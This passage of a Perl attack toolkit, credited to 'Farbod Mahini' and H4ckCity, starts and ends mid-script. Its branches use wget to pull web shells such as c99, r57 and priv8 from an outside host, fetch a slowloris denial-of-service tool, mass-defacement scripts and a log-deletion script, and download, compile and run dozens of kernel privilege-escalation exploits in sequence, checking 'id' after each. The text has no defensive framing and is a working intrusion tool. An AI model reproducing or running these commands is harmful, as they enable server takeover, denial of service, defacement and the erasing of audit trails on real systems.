print " Usage perl $0 shell lam lamashell.php bypass open basedir\n";
print " Usage perl $0 shell iro ironshell.php \n";
print " Usage perl $0 shell imh iMHaPFtp.php \n";
print " Usage perl $0 shell h4n h4ntu_shell.php \n";
print " Usage perl $0 shell pan panel.php with h4ckcity.php\n";
print " Usage perl $0 shell p8 priv8_shell.php this is very very priv8 with many options\n";
print " Usage perl $0 shell p8s p8sheller.php \n";
print " ###########################################################\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "r57")
{
system("wget http://farbod.gozarweb.com/tools/r57-2010.txt");
system("mv r57-2010.txt r57-2010.php");
print "Shell Name : r57-2010.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "itsec")
{
system("wget http://farbod.gozarweb.com/tools/itsecteam.txt");
system("mv itsecteam.txt itsecteam.php");
print "Shell Name : itsecteam.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "hmb")
{
system("wget http://farbod.gozarweb.com/tools/HMBr57.txt");
system("mv HMBr57.txt HMBr57.php");
print "Shell Name : HMBr57.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "cry")
{
system("wget http://farbod.gozarweb.com/tools/CrystalShell.txt");
system("mv CrystalShell.txt CrystalShell.php");
print "Shell Name : CrystalShell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "egy")
{
system("wget http://farbod.gozarweb.com/tools/Egy_Spider.txt");
system("mv Egy_Spider.txt Egy_Spider.php");
print "Shell Name : Egy_Spider.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "c99")
{
system("wget http://farbod.gozarweb.com/tools/c99.txt");
system("mv c99.txt c99.php");
print "Shell Name : c99.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "mtv")
{
system("wget http://farbod.gozarweb.com/tools/MTV2.txt");
system("mv MTV2.txt MTV2.php");
print "Shell Name : MTV2.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bb")
{
system("wget http://farbod.gozarweb.com/tools/bb.txt");
system("mv bb.txt bb.php");
print "Shell Name : bb.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "cui")
{
system("wget http://farbod.gozarweb.com/tools/cuibap.txt");
system("mv cuibap.txt cuibap.php");
print "Shell Name : cuibap.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "con")
{
system("wget http://farbod.gozarweb.com/tools/config.txt");
system("mv config.txt config.php");
print "Shell Name : config.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "zend")
{
system("wget http://farbod.gozarweb.com/tools/Zend.txt");
system("mv Zend.txt Zend.php");
print "Shell Name : Zend.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "rd")
{
system("wget http://farbod.gozarweb.com/tools/Root_directory.txt");
system("mv Root_directory.txt Root_directory.php");
print "Shell Name : Root_directory.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "zr")
{
system("wget http://farbod.gozarweb.com/tools/Zone-r.txt");
system("mv Zone-r.txt Zone-r.php");
print "Shell Name : Zone-r.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "dgn")
{
system("wget http://farbod.gozarweb.com/tools/dgn.txt");
system("mv dgn.txt dgn.php");
print "Shell Name : dgn.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2mv")
{
system("wget http://farbod.gozarweb.com/tools/2mv2.txt");
system("mv r2mv2.txt 2mv2.php");
print "Shell Name : 2mv2.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "ajx")
{
system("wget http://farbod.gozarweb.com/tools/ajax_shell.txt");
system("mv ajax_shell.txt ajax_shell.php");
print "Shell Name : ajax_shell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "acs")
{
system("wget http://farbod.gozarweb.com/tools/antichat_shell.txt");
system("mv antichat_shell.txt antichat_shell.php");
print "Shell Name : antichat_shell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "azp")
{
system("wget http://farbod.gozarweb.com/tools/azrailphp.txt");
system("mv azrailphp.txt azrailphp.php");
print "Shell Name : azrailphp.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bck")
{
system("wget http://farbod.gozarweb.com/tools/backup.txt");
system("mv backup.txt backup.php");
print "Shell Name : backup.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bps")
{
system("wget http://farbod.gozarweb.com/tools/Bl0od3rShell.txt");
system("mv Bl0od3rShell.txt Bl0od3rShell.php");
print "Shell Name : Bl0od3rShell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "byp")
{
system("wget http://farbod.gozarweb.com/tools/Bypass.txt");
system("mv Bypass.txt Bypass.php");
print "Shell Name : Bypass.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "c100")
{
system("wget http://farbod.gozarweb.com/tools/c100.txt");
system("mv c100.txt c100.php");
print "Shell Name : c100.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "cgt")
{
system("wget http://farbod.gozarweb.com/tools/cgitelnet.txt");
system("mv cgitelnet.txt cgitelnet.pl");
print "Shell Name : cgitelnet.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "cyb")
{
system("wget http://farbod.gozarweb.com/tools/cybershell.txt");
system("mv cybershell.txt cybershell.php");
print "Shell Name : cybershell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "dx")
{
system("wget http://farbod.gozarweb.com/tools/Dx.txt");
system("mv Dx.txt Dx.php");
print "Shel Name : Dx.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "fts")
{
system("wget http://farbod.gozarweb.com/tools/Fatalshell.txt");
system("mv Fatalshell.txt Fatalshell.php");
print "Shell Name : Fatalshell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "fps")
{
system("wget http://farbod.gozarweb.com/tools/fucphpshell.txt");
system("mv fucphpshell.txt fucphpshell.php");
print "Shell Name : fucphpshell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "gfs")
{
system("wget http://farbod.gozarweb.com/tools/gfs_sh.txt");
system("mv gfs_sh.txt gfs_sh.php");
print "Shell Name : gfs_sh.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "vir")
{
system("wget http://farbod.gozarweb.com/tools/virashell.txt");
system("mv virashell.txt virashell.php");
print "Shell Name : virashell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "vis")
{
system("wget http://farbod.gozarweb.com/tools/vira.txt");
system("mv vira.txt vira.php");
print "Shell Name : vira.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "up")
{
system("wget http://farbod.gozarweb.com/tools/Uploader.txt");
system("mv Uploader.txt Uploader.php");
print "Shell Name : Uploader.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sra")
{
system("wget http://farbod.gozarweb.com/tools/SyRiAn.txt");
system("mv SyRiAn.txt SyRiAn.php");
print "Shell Name : SyRiAn.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sim")
{
system("wget http://farbod.gozarweb.com/tools/simattacker.txt");
system("mv simattacker.txt simattacker.php");
print "Shell Name : simattacker.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "rus")
{
system("wget http://farbod.gozarweb.com/tools/Russian.txt");
system("mv Russian.txt Russian.php");
print "Shell Name : Russian.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "myt")
{
system("wget http://farbod.gozarweb.com/tools/mysql_tool.txt");
system("mv mysql_tool.txt mysql_tool.php");
print "Shell Name : mysql_tool.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "mys")
{
system("wget http://farbod.gozarweb.com/tools/mysql.txt");
system("mv mysql.txt mysql.php");
print "Shell Name : mysql.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "lod")
{
system("wget http://farbod.gozarweb.com/tools/load_shell.txt");
system("mv load_shell.txt load_shell.php");
print "Shell Name : load_shell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "liz")
{
system("wget http://farbod.gozarweb.com/tools/Liz0ziM.txt");
system("mv Liz0ziM.txt Liz0ziM.php");
print "Shell Name : Liz0ziM.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "lip")
{
system("wget http://farbod.gozarweb.com/tools/Liz0ziM_Private.txt");
system("mv Liz0ziM_Private.txt Liz0ziM_Private.php");
print "Shell Name : Liz0ziM_Private.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "lam")
{

system("wget http://farbod.gozarweb.com/tools/lamashell.txt");
system("mv lamashell.txt lamashell.php");
print "Shell Name : lamashell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "iro")
{
system("wget http://farbod.gozarweb.com/tools/ironshell.txt");
system("mv ironshell.txt ironshell.php");
print "Shell Name : ironshell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "imh")
{
system("wget http://farbod.gozarweb.com/tools/iMHaPFtp.txt");
system("mv iMHaPFtp.txt iMHaPFtp.php");
print "Shell Name : iMHaPFtp.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "h4n")
{
system("wget http://farbod.gozarweb.com/tools/h4ntu_shell.txt");
system("mv h4ntu_shell.txt h4ntu_shell.php");
print "Shell Name : h4ntu_shell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "pan")
{
system("wget http://farbod.gozarweb.com/tools/panel.txt");
system("mv panel.txt panel.php");
system("wget http://farbod.gozarweb.com/tools/h4ckcity.txt");
system("mv h4ckcity.txt h4ckcity.php");
print "Shell Name : panel.php & h4ckcity.php\n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "p8")
{
system("wget http://farbod.gozarweb.com/tools/priv8_shell.txt");
system("mv priv8_shell.txt priv8_shell.php");
print "Shell Name : priv8_shell.php \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "p8s")
{
system("wget http://farbod.gozarweb.com/tools/p8sheller.txt");
system("mv p8sheller.txt p8sheller.php");
print "Shell Name : p8sheller.php \n\n";
die "Powered By Farbod Mahini \n";
}
}
#tools for perl script
if ($ARGV[0] =~ "script")
{
if ($ARGV[1] =~ "help")
{
print " ###########################################################\n";
print " Usage perl $0 script slow slowloris.pl its for ddos\n";
print " Usage perl $0 script zon zone-h.pl \n";
print " Usage perl $0 script vovo vovo.pl \n";
print " Usage perl $0 script mas mass.pl \n";
print " Usage perl $0 script dc dc.pl \n";
print " Usage perl $0 script log log_delete.pl \n";
print " Usage perl $0 script mass mass20.pl \n";
print " ###########################################################\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "zone")
{
system("wget http://farbod.gozarweb.com/tools/zone-h.txt");
system("mv zone-h.txt zone-h.pl");
system("chmod 755 zone-h.pl");
print "Script Name : zone-h.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "slow")
{
system("wget http://farbod.gozarweb.com/tools/slowloris.txt");
system("mv slowloris.txt slowloris.pl");
system("chmod 755 slowloris.pl");
print "Script Name : slowloris.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "vovo")
{

system("wget http://farbod.gozarweb.com/tools/vovo.txt");
system("mv vovo.txt vovo.pl");
system("chmod 755 vovo.pl");
print "Script Name : vovo.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "mas")
{
system("wget http://farbod.gozarweb.com/tools/mass.txt");
system("mv mass.txt mass.pl");
system("chmod 755 mass.pl");
print "Script Name : mass.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "dc")
{

system("wget http://farbod.gozarweb.com/tools/dc.txt");
system("mv dc.txt dc.pl");
system("chmod 755 dc.pl");
print "Script Name : dc.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "log")
{

system("wget http://farbod.gozarweb.com/tools/log_delete.txt");
system("mv log_delete.txt log_delete.pl");
system("chmod 755 log_delete.pl");
print "Script Name : log_delete.pl \n\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "mass")
{
system("wget http://farbod.gozarweb.com/tools/mass20.txt");
system("mv mass20.txt mass20.pl");
system("chmod 755 mass20.pl");
print "Script Name : mass20.pl \n\n";
}
die "Powered By Farbod Mahini \n";
}
#tools for auto rooting
if ($ARGV[0] =~ "rooting")
{
if ($ARGV[1] =~ "all")
{
system("wget http://farbod.gozarweb.com/local/2009-wunderbar_emporium");
sleep(1);
system("chmod 777 2009-wunderbar_emporium");
system("./2009-wunderbar_emporium");
sleep(1);
system("su");
sleep(1);
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2009-proto_ops");
sleep(1);
system("chmod 777 2009-proto_ops");
system("./2009-proto_ops");
sleep(1);
system("su");
sleep(1);
system("id");
}
if ($ARGV[1] =~ "all2")
{
system("wget http://farbod.gozarweb.com/local/bsd");
system("chmod 777 bsd");
system("./bsd");
system("id");
system("wget http://farbod.gozarweb.com/local/48local");
system("chmod 777 48local");
system("./48local");
system("id");
system("wget http://farbod.gozarweb.com/local/exploit");
system("chmod 777 exploit");
system("./exploit");
system("id");
system("wget http://farbod.gozarweb.com/local/freedbs53");
system("chmod 777 freedbs53");
system("./freedbs53");
system("id");
system("wget http://farbod.gozarweb.com/local/macosX");
system("chmod 777 macosX");
system("./macosX");
system("id");
system("wget http://farbod.gozarweb.com/local/env");
system("chmod 777 env");
system("./env");
system("id");
system("wget http://farbod.gozarweb.com/local/w00t.so.1.0");
system("chmod 777 w00t.so.1.0");
system("./w00t.so.1.0");
system("id");
system("wget http://farbod.gozarweb.com/local/epcs2.c");
system("gcc epcs2.c -o epcs2");
system("chmod 777 epcs2");
system("./epcs2");
system("id");
system("wget http://farbod.gozarweb.com/local/crontab.c");
system("gcc crontab.c -o crontab");
system("chmod 777 crontab");
system("./crontab");
system("id");
system("wget http://farbod.gozarweb.com/local/rh71sm8.c");
system("gcc rh71sm8.c -o rh71sm8");
system("chmod 777 rh71sm8");
system("./rh71sm8");
system("id");
system("wget http://farbod.gozarweb.com/local/ohMy-another-efs");
system("chmod 777 ohMy-another-efs");
system("./ohMy-another-efs");
system("id");
system("wget http://farbod.gozarweb.com/local/nslconf");
system("chmod 777 nslconf");
system("./nslconf");
system("id");
system("wget http://farbod.gozarweb.com/local/alsaplayer-suid");
system("chmod 777 alsaplayer-suid");
system("./alsaplayer-suid");
system("id");
system("wget http://farbod.gozarweb.com/local/afd-expl");
system("chmod 777 afd-expl");
system("./afd-expl");
system("id");
system("wget http://farbod.gozarweb.com/local/solaris27");
system("chmod 777 solaris27");
system("./solaris27");
system("id");
system("wget http://farbod.gozarweb.com/local/final");
system("chmod 777 final");
system("./final");
system("id");
system("wget http://farbod.gozarweb.com/local/sunos59");
system("chmod 777 sunos59");
system("./sunos59");
system("id");
system("wget http://farbod.gozarweb.com/local/sunos510");
system("chmod 777 sunos510");
system("./sunos510");
system("id");
system("wget http://farbod.gozarweb.com/local/ptrace24");
system("chmod 777 ptrace24");
system("./ptrace24");
system("id");
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
system("wget http://farbod.gozarweb.com/local/elfcd1.c");
system("gcc elfcd1.c -o elfcd1");
system("chmod 777 elfcd1");
system("./elfcd1");
system("id");
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
system("wget http://farbod.gozarweb.com/local/newlocal");
system("chmod 777 newlocal");
system("./newlocal");
system("id");
system("wget http://farbod.gozarweb.com/local/kmod2");
system("chmod 777 kmod2");
system("./kmod2");
system("id");
system("wget http://farbod.gozarweb.com/local/pwned.c");
system("gcc pwned.c -o pwned");
system("chmod 777 pwned");
system("./pwned");
system("id");
system("wget http://farbod.gozarweb.com/local/1.c");
system("gcc 1.c -o 1");
system("chmod 777 1");
system("./1");
system("id");
system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c");
system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap");
system("chmod 777 Linux_kernel_mremap");
system("./Linux_kernel_mremap");
system("id");
system("wget http://farbod.gozarweb.com/local/hatorihanzo.c");
system("gcc hatorihanzo.c -o hatorihanzo");
system("chmod 777 hatorihanzo");
system("./hatorihanzo");
system("id");
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
system("wget http://farbod.gozarweb.com/local/kmod");
system("chmod 777 kmod");
system("./kmod");
system("id");
system("wget http://farbod.gozarweb.com/local/h0llyshit");
system("chmod 777 h0llyshit");
system("./h0llyshit");
system("id");
system("wget http://farbod.gozarweb.com/local/hudo.c");
system("gcc hudo.c -o hudo");
system("chmod 777 hudo");
system("./hudo");
system("wget http://farbod.gozarweb.com/local/ong_bak.c");
system("gcc ong_bak.c -o ong_bak");
system("chmod 777 ong_bak");
system("./ong_bak");
system("id");
system("wget http://farbod.gozarweb.com/local/elflbl");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
system("wget http://farbod.gozarweb.com/local/cw7.3");
system("chmod 777 cw7.3");
system("./cw7.3");
system("id");
system("wget http://farbod.gozarweb.com/local/root2");
system("chmod 777 root2");
system("./root2");
system("id");
system("wget http://farbod.gozarweb.com/local/x2");
system("chmod 777 x2");
system("./x2");
system("id");
system("wget http://farbod.gozarweb.com/local/x");
system("chmod 777 x");
system("./x");
system("id");
system("wget http://farbod.gozarweb.com/local/exp.sh");
system("chmod 777 exp.sh");
system("./exp.sh");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.x");
system("chmod 777 2.6.x");
system("./2.6.x");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.r1z.sh");
system("chmod 777 2.6.r1z.sh");
system("./2.6.r1z.sh");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.182.c");
system("gcc 2.6.182.c -o 2.6.182");
system("chmod 777 2.6.182");
system("./2.6.182");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.26.c");
system("gcc 2.6.26.c -o 2.6.26");
system("chmod 777 2.6.26");
system("./2.6.26");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8");
system("chmod 777 2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("id");
system("wget http://farbod.gozarweb.com/local/06");
system("chmod 777 06");
system("./06");
system("id");
system("wget http://farbod.gozarweb.com/local/05");
system("chmod 777 05");
system("./05");
system("id");
system("wget http://farbod.gozarweb.com/local/04");
system("chmod 777 04");
system("./04");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8");
system("chmod 777 2.6.9-55-2008-prv8");
system("./2.6.9-55-2008-prv8");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.9");
system("chmod 777 2.6.9");
system("./2.6.9");
system("id");
system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c");
system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9");
system("chmod 777 2.4.8&2.6.9");
system("./2.4.8&2.6.9");
system("id");
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
system("wget http://farbod.gozarweb.com/local/r00t");
system("chmod 777 r00t");
system("./r00t");
system("id");
system("wget http://farbod.gozarweb.com/local/myptrace");
system("chmod 777 myptrace");
system("./myptrace");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.17");
system("chmod 777 2.6.17");
system("./2.6.17");
system("id");
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
system("wget http://farbod.gozarweb.com/local/prct5.sh");
system("chmod 777 prct5.sh");
system("./prct5.sh");
system("id");
system("wget http://farbod.gozarweb.com/local/raptor");
system("chmod 777 raptor");
system("./raptor");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.18.c");
system("gcc 2.6.18.c -o 2.6.18");
system("chmod 777 2.6.18");
system("./2.6.18");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.18-164");
system("chmod 777 2.6.18-164");
system("./2.6.18-164");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.18-2008");
system("chmod 777 2.6.18-2008");
system("./2.6.18-2008");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.31-2010.c");
system("gcc 2.6.31-2010.c -o 2.6.31-2010");
system("chmod 777 2.6.31-2010");
system("./2.6.31-2010");
system("id");
system("wget http://farbod.gozarweb.com/local/enlightenment");
system("chmod 777 enlightenment");
system("./enlightenment");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.20");
system("chmod 777 2.6.20");
system("./2.6.20");
system("id");
system("wget http://farbod.gozarweb.com/local/vmsplice.c");
system("gcc vmsplice.c -o vmsplice");
system("chmod 777 vmsplice");
system("./vmsplice");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.23_2008.c");
system("gcc 2.6.23_2008.c -o 2.6.23_2008");
system("chmod 777 2.6.23_2008");
system("./vmsplice");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24");
system("chmod 777 2.6.23-2.6.24");
system("./2.6.23-2.6.24");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24");
system("chmod 777 2.6.23-2.6.24");
system("./2.6.23-2.6.24");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.22.c");
system("gcc 2.6.22.c -o 2.6.22");
system("chmod 777 2.6.22");
system("./2.6.22");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.22-4-686__2008");
system("chmod 777 2.6.22-4-686__2008");
system("./2.6.22-4-686__2008");
system("id");
system("wget http://farbod.gozarweb.com/local/binfmt_elf");
system("chmod 777 binfmt_elf");
system("./binfmt_elf");
system("id");
system("wget http://farbod.gozarweb.com/local/elfcd2");
system("chmod 777 elfcd2");
system("./elfcd2");
system("id");
system("wget http://farbod.gozarweb.com/local/k-rad3");
system("chmod 777 k-rad3");
system("./k-rad3");
system("id");
system("wget http://farbod.gozarweb.com/local/k-rad");
system("chmod 777 k-rad");
system("./k-rad");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.11.c");
system("gcc 2.6.11.c -o 2.6.11");
system("chmod 777 2.6.11");
system("./2.6.11");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.11-2007-priv8");
system("chmod 777 2.6.11-2007-priv8");
system("./2.6.11-2007-priv8");
system("id");
system("wget http://farbod.gozarweb.com/local/loginx");
system("chmod 777 loginx");
system("./loginx");
system("id");
system("wget http://farbod.gozarweb.com/local/2.4.36.92.6.27.5_2008");
system("chmod 777 2.4.36.92.6.27.5_2008");
system("./2.4.36.92.6.27.5_2008");
system("id");
system("wget http://farbod.gozarweb.com/local/2.6.18-8");
system("chmod 777 2.6.18-8");
system("./2.6.18-8");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "help")
{
print " ###########################################################\n";
print " --== H4ckCity Auto r00ting ==-- \n";
print " Usage perl $0 rooting all this option upload 2 file for r00t\n";
print " Usage perl $0 rooting all2 this option upload all files for r00t\n";
print " ###########################################################\n";
print " --== H4ckCity Manuell r00ting ==-- \n";
print " Usage perl $0 rooting osd OpenBSD 0day local root \n";
print " Usage perl $0 rooting bsd4.4 FreeBSD 4.4 \n";
print " Usage perl $0 rooting bsd4.6 FreeBSD 4.6 \n";
print " Usage perl $0 rooting bsd4.8 FreeBSD 4.8 \n";
print " Usage perl $0 rooting bsd5.3 FreeBSD 5.3 \n";
print " Usage perl $0 rooting bsd8.0 FreeBSD 8.0 \n";
print " Usage perl $0 rooting bsd bsd local \n";
print " Usage perl $0 rooting mac MacOsX \n";
print " Usage perl $0 rooting red7.0 RedHat7.0\n";
print " Usage perl $0 rooting red7.1 RedHat7.1 \n";
print " Usage perl $0 rooting red7.3 RedHat7.3 \n";
print " Usage perl $0 rooting red8.0 RedHat8.0 \n";
print " Usage perl $0 rooting sun5.7 SunOs5.7 \n";
print " Usage perl $0 rooting sun5.8 SunOs5.8 \n";
print " Usage perl $0 rooting sun5.9 SunOs5.9 \n";
print " Usage perl $0 rooting sun5.10 SunOs5.10 \n";
print " Usage perl $0 rooting 2.2.x Linux 2.2.x \n";
print " Usage perl $0 rooting 2.2.27 Linux 2.2.27 \n";
print " Usage perl $0 rooting 2.4.x Linux 2.4.x \n";
print " Usage perl $0 rooting 2.4.8 Linux 2.4.8 \n";
print " Usage perl $0 rooting 2.4.17 Linux 2.4.17 \n";
print " Usage perl $0 rooting 2.4.18 Linux 2.4.18 \n";
print " Usage perl $0 rooting 2.4.19 Linux 2.4.19 \n";
print " Usage perl $0 rooting 2.4.20 Linux 2.4.20 \n";
print " Usage perl $0 rooting 2.4.21 Linux 2.4.21 \n";
print " Usage perl $0 rooting 2.4.22 Linux 2.4.22 \n";
print " Usage perl $0 rooting 2.4.22-10 Linux 2.4.22-10 \n";
print " Usage perl $0 rooting 2.4.23 Linux 2.4.23 \n";
print " Usage perl $0 rooting 2.4.24 Linux 2.4.24 \n";
print " Usage perl $0 rooting 2.4.25 Linux 2.4.25 \n";
print " Usage perl $0 rooting 2.4.26 Linux 22.4.26 \n";
print " Usage perl $0 rooting 2.4.27 Linux 2.4.27 \n";
print " Usage perl $0 rooting 2.4.29 Linux 2.4.29 \n";
print " Usage perl $0 rooting 2.4.36.92.6.27.5 Linux 2.4.36.92.6.27.5\n";
print " Usage perl $0 rooting 2.6.x Linux 2.6.x \n";
print " Usage perl $0 rooting 2.6.10 Linux 2.6.10 \n";
print " Usage perl $0 rooting 2.6.11 Linux 2.6.11 \n";
print " Usage perl $0 rooting 2.6.12 Linux 2.6.12\n";
print " Usage perl $0 rooting 2.6.13 Linux 2.6.13 \n";
print " Usage perl $0 rooting 2.6.14 Linux 2.6.14 \n";
print " Usage perl $0 rooting 2.6.15 Linux 2.6.15 \n";
print " Usage perl $0 rooting 2.6.16 Linux 2.6.16 \n";
print " Usage perl $0 rooting 2.6.17 Linux 2.6.17 \n";
print " Usage perl $0 rooting 2.6.18 Linux 2.6.18 \n";
print " Usage perl $0 rooting 2.6.182 Linux 2.6.182 \n";
print " Usage perl $0 rooting 2.6.18-8 Linux 2.6.18-8 \n";
print " Usage perl $0 rooting 2.6.2 Linux 2.6.2 \n";
print " Usage perl $0 rooting 2.6.20 Linux 2.6.20 \n";
print " Usage perl $0 rooting 2.6.22 Linux 2.6.22 \n";
print " Usage perl $0 rooting 2.6.23 Linux 2.6.23 \n";
print " Usage perl $0 rooting 2.6.24 Linux 2.6.24\n";
print " Usage perl $0 rooting 2.6.26 Linux 2.6.26 \n";
print " Usage perl $0 rooting 2.6.31 Linux 2.6.31 \n";
print " Usage perl $0 rooting 2.6.31.5 Linux 2.6.31.5 \n";
print " Usage perl $0 rooting 2.6.4 Linux 2.6.4 \n";
print " Usage perl $0 rooting 2.6.5 Linux 2.6.5 \n";
print " Usage perl $0 rooting 2.6.7 Linux 2.6.7 \n";
print " Usage perl $0 rooting 2.6.8 Linux 2.6.8 \n";
print " Usage perl $0 rooting 2.6.9 Linux 2.6.9 \n";
print " Usage perl $0 rooting 2.6.9.2 Linux 2.6.9.2 \n";
print " Usage perl $0 rooting 2.6.9-34 Linux 2.6.9-34 \n";
print " Usage perl $0 rooting 2.6.9-55 Linux 2.6.9-55 \n";
print " ###########################################################\n";
die "\nPoWerEd By Farbod Mahini \n";
}
if ($ARGV[1] =~ "osd")
{
system("wget http://farbod.gozarweb.com/local/OpenBSD-0day-Local-Root.c");
system("gcc OpenBSD-0day-Local-Root.c -o OpenBSD-0day-Local-Root");
system("chmod 777 OpenBSD-0day-Local-Root");
system("./OpenBSD-0day-Local-Root");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd4.6")
{
system("wget http://farbod.gozarweb.com/local/bsd");
system("chmod 777 bsd");
system("./bsd");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd4.4")
{
system("wget http://farbod.gozarweb.com/local/bsd");
system("chmod 777 bsd");
system("./bsd");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd4.8")
{
system("wget http://farbod.gozarweb.com/local/48local");
system("chmod 777 48local");
